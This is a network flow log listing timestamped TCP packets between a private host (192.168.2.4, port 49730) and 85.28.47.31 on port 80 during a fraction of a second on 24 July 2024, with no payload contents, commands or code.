Jul 24, 2024 02:39:00.046843052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046869993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046897888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046902895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046916962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.046977997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.046991110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047023058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047092915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047144890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047156096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047188997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047211885 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047231913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047293901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047327042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047343016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047359943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047367096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047393084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047406912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047441006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047509909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047544956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047569036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047586918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047800064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047863007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.047919035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047960997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.047976017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048008919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048063993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048106909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048116922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048147917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048182011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048204899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048204899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048229933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048232079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048278093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048290968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048325062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048341036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048357964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048373938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048393965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048403978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048429012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048454046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048471928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048825979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048880100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.048960924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.048995972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.049009085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.049030066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.049041033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.049084902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.049093962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.049133062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.049159050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.049165964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.049187899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.049200058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.049207926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.049243927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.103113890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.103158951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.103192091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.103224993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.103259087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.103292942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.103328943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.103348970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.103348970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.103348970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.103348970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.103348970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.103348970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.103488922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.115194082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.115324974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.115360022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.115392923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.115449905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.115454912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.115489960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.115519047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.115520000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.115540981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.115572929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.115757942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.121156931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.121223927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.121256113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.121330023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.121541977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.121573925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.121608019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.121640921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.121705055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.121705055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.121705055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.121763945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.126827002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.126941919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.126960039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.126992941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127026081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127047062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127068043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127121925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127209902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127247095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127269983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127290964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127310038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127337933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127367973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127371073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127384901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127404928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127420902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127470016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127482891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127543926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127589941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127624035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127651930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127665997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127686024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127717972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127746105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127749920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127760887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127784014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127815962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127837896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.127943039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127971888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.127998114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128005981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128015995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128038883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128053904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128087044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128101110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128133059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128154993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128170013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128195047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128221989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128654003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128710985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128757954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128792048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128817081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128824949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128837109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128879070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128886938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128918886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128942966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128953934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.128961086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.128982067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.129008055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.129031897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.130229950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.130283117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.130294085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.130326986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.130352974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.130367994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.130444050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.130476952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.130501032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.130510092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.130520105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.130559921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.130625010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.130696058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.141365051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141561031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141580105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.141592026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141609907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141625881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141642094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141676903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141839981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141871929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141874075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.141904116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141910076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.141936064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.141937017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141954899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.141969919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.141983986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142003059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142035961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142039061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142064095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142069101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142081976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142107010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142113924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142158031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142179966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142227888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142362118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142395020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142424107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142426968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142443895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142462969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142477036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142497063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142512083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142530918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142540932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142565012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142597914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142599106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142623901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142630100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142642021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142663002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142698050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142703056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142703056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142750978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142930031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142961979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.142988920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.142995119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143008947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143027067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143044949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143059969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143074036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143095016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143107891 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143130064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143145084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143170118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143367052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143399000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143423080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143430948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143443108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143464088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143481016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143508911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143513918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143543005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143568993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143575907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143584967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143609047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143636942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143641949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143666983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143675089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143681049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143707037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143742085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143759012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143889904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143923044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143948078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143956900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.143965006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.143985033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.144007921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.144035101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.144047976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.144079924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.144110918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.144112110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.144136906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.144148111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.144160032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.144197941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.144251108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.144284010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.144310951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.144326925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.146518946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.146575928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.197407007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.197560072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.197567940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.197603941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.197638988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.197671890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.197705030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.197731972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.197731972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.197731972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.197731972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.197740078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.197760105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.197784901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.210176945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.210217953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.210254908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.210261106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.210287094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.210289001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.210323095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.210326910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.210345030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.210356951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.210375071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.210392952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.210413933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.210444927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.210623026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.210686922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.215748072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.215814114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.215846062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.215853930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.215853930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.215886116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.215919971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.215954065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.215965986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.215996981 CEST	49730	80	192.168.2.4	85.28.47.31
